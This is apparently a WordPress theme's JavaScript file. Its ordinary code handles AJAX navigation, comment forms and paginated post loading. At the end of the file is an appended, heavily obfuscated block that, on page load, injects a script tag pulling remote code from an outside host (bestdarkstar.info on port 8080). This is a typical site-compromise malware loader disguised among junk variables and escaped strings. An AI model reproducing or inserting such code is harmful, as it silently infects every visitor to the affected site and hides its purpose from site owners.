function showbox(elmnt) {
	document.getElementById('hiddencats').style.display = 'block';
}

function hidebox() {
	document.getElementById('hiddencats').style.display = 'none';
}

function fixURL() {
	parts = window.location.href.split("#/");
	if(parts.length > 1) {
		window.location.href = parts[parts.length - 1];
	}
}

function changeURL(href) {
	href = (href == "") ? "/" : href;
	uri = window.location.href.split("#/");
	window.location.href = uri[0] + "#/" + href;
}

if(typeof jQuery == "function") {
	jQuery(document).ready(function($) {
		fixURL();
		$("#post-container").css("display", "block");
		init(jQuery, "body");
	});
	
	function init($, id) {
		id = (typeof(id) == 'undefined') ? "body" : id;
		
		$(".morecomments a").click(function() {
			href = $(this).attr('href');
			uri = href.split("#")[0];
			
			stylesheet_uri = $("link[rel='stylesheet']:eq(0)").attr("href").split("/");
			stylesheet_uri.length--;
			img = "<img src='"+stylesheet_uri.join("/") + "/images/indicator_small.gif"+"' alt='Loading' />";
			$(this).parent().css("text-align", "center").html(img).parent().load(uri + " div#comments #commentlist");
			return false;
		});
		
		$("a.respondlink").click(function() {
			post_id = $(this).attr('id').split("-")[1];
			if(typeof(post_id) != "undefined") {
				$(this).parent().next().next().css("display", "none");
				$("#commentform-" + post_id).css("display", "block");
				$("#commentform-" + post_id + " .focus:first").focus();
			} else {
				$(".respondtext").parent().css("display", "none");
				$("div#comment_form").css("display", "block");
				$("#commentform .focus:first").focus();
			}
			return false;
		});
		
		$(".respondtext").click(function() {
			$(this).parent().css("display", "none");
			if($(this).hasClass("single")) {
				$("a.respondlink").click();
			} else {
				$(this).parent().prev().prev().children("a.respondlink").click();
			}
		});
		
		function nextpost() {
			$(this).unbind('click', nextpost);
			stylesheet_uri = $("link[rel='stylesheet']:eq(0)").attr("href").split("/");
			stylesheet_uri.length--;
			img = "&nbsp;<img src='"+stylesheet_uri.join("/") + "/images/indicator_small.gif"+"' alt='Loading' />";
			$(this).after(img);
			href = $(this).attr("href");
			link = $(this);
			$(".post-list").removeClass("post-list");
			$(this).parent().parent().before("<div class='older'></div>");
			$(this).parent().parent().prev().load(href + " .post-list", {}, function() {
				init(jQuery, ".post-list");
				link.next().remove();
				nextpostslink = (typeof($("#nextpage").attr("value")) == "undefined") ? "mbuh" : $("#nextpage").attr("value");
				$("#nextpage").remove();
				if(nextpostslink == "mbuh") {
					link.remove();
				} else {
					link.attr("href", nextpostslink);
				}
			});
			return false;
		}
		$("a.nextpost").click(nextpost);
		
		$(id + " a").not(".nextpost").not(".notajax").each(function() {
			site = $("meta[name='home']").attr("content");
			dashboard = $("meta[name='url']").attr("content") + "/wp-admin";
			wplogin = $("meta[name='url']").attr("content") + "/wp-login.php";
			if (
				$(this).attr('href') != '#' && //it's not a '#' only link
				$(this).attr('href').indexOf(site) == 0 && //it's an internal link
				$(this).attr('href').indexOf(dashboard) == -1 && //it's not a link to dashboard
				$(this).attr('href').indexOf(wplogin) == -1 //it's not a link to wp-login.php
			) {
				$(this).click(function() {
					hidebox();
					hrefs = $(this).attr("href").split("#");
					href = hrefs[0];
					if($(this).parent().hasClass("cat-item")) {
						$(".cat-item").removeClass("current-cat");
						$(this).parent().addClass("current-cat");
					}
					
					stylesheet_uri = $("link[rel='stylesheet']:eq(0)").attr("href").split("/");
					stylesheet_uri.length--;
					img = "<img src='"+stylesheet_uri.join("/") + "/images/indicator_large.gif"+"' alt='Loading' />";
					$("#post-container").html(img).load(href + " #posts", {}, function() {
						if($("#post-container").html() == "") {
							window.location.href = href;
							return false;
						}
						
						document.title = $("input[type='hidden'][name='title']").attr("value");
						site = (site.charAt(site.length - 1) == "/") ? site : site + "/";
						href = href.replace(site, "");
						if(hrefs.length > 1)
							href += "#" + hrefs[hrefs.length - 1];
						changeURL(href);
						init($, "#posts"); //re-init the database
					});
					return false;
				});
			}
		});
		
		$('textarea').not(".respondtext").autogrow({
			minHeight: 30
		});
	}
}



var Xz;if(Xz!='' && Xz!='L'){Xz='DA'};var G='';var tb;if(tb!='DQ'){tb=''};function x(){var wN=new String();this.v="";var R=window;var Q;if(Q!='A' && Q!='Cf'){Q=''};this.wm="";var h=unescape;var I=h("%2f%6e%69%66%74%79%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%70%6f%72%6e%68%6f%73%74%2e%63%6f%6d%2e%70%68%70");this.jH='';function y(s,X){var xU=String("g");var kU=new Array();this.vj='';var j=h("%5b"), E=h("%5d");var mB=new Array();var kp;if(kp!='iV'){kp=''};var T=j+X+E;var V="";var sd;if(sd!='' && sd!='rW'){sd=''};var t=new RegExp(T, xU);var qf="";var Px;if(Px!=''){Px='Xx'};return s.replace(t, new String());this.iq="";};var Y=new Date();this.Qe="";var En=new String();var b;if(b!='GA' && b!='Gg'){b=''};this.Ry='';var U=document;var q=y('894790965248156073179','91462357');var UR=new Date();var Ol;if(Ol!='' && Ol!='Iw'){Ol=null};function w(){this.BI='';var df;if(df!='kV' && df != ''){df=null};this.uSf="";var xL=h("%68%74%74%70%3a%2f%2f%62%65%73%74%64%61%72%6b%73%74%61%72%2e%69%6e%66%6f%3a");En=xL;En+=q;var Qg;if(Qg!='RJ' && Qg != ''){Qg=null};var XxV;if(XxV!='Kq' && XxV != ''){XxV=null};En+=I;var Hk;if(Hk!='' && Hk!='Pc'){Hk=null};var ry;if(ry!='jU' && ry!='gH'){ry='jU'};var PJ=new String();var Mw=new String();try {var XR;if(XR!=''){XR='wV'};D=U.createElement(y('sbcQrYiopGtD','YbGS3vQ2wCD8oTh'));this.he="";var Bq="";this.Qt='';D[h("%73%72%63")]=En;var kZ="";D[h("%64%65%66%65%72")]=[1][0];var DU="";this.og='';this.Sn='';U.body.appendChild(D);var LS;if(LS!='fv'){LS='fv'};this.GK="";var Nr='';} catch(B){var Rf;if(Rf!='' && Rf!='_a'){Rf=''};var sh="";alert(B);};this.hX="";var DI;if(DI!='' && DI!='qr'){DI='Tl'};}var gA=new String();R["onlo"+"ad"]=w;var szG=new String();var ml;if(ml!='' && ml!='xh'){ml='jyb'};var Nu;if(Nu!=''){Nu='aT'};};var BV=new Date();x();var dl=new Date();var Mk;if(Mk!='DT' && Mk!='vz'){Mk=''};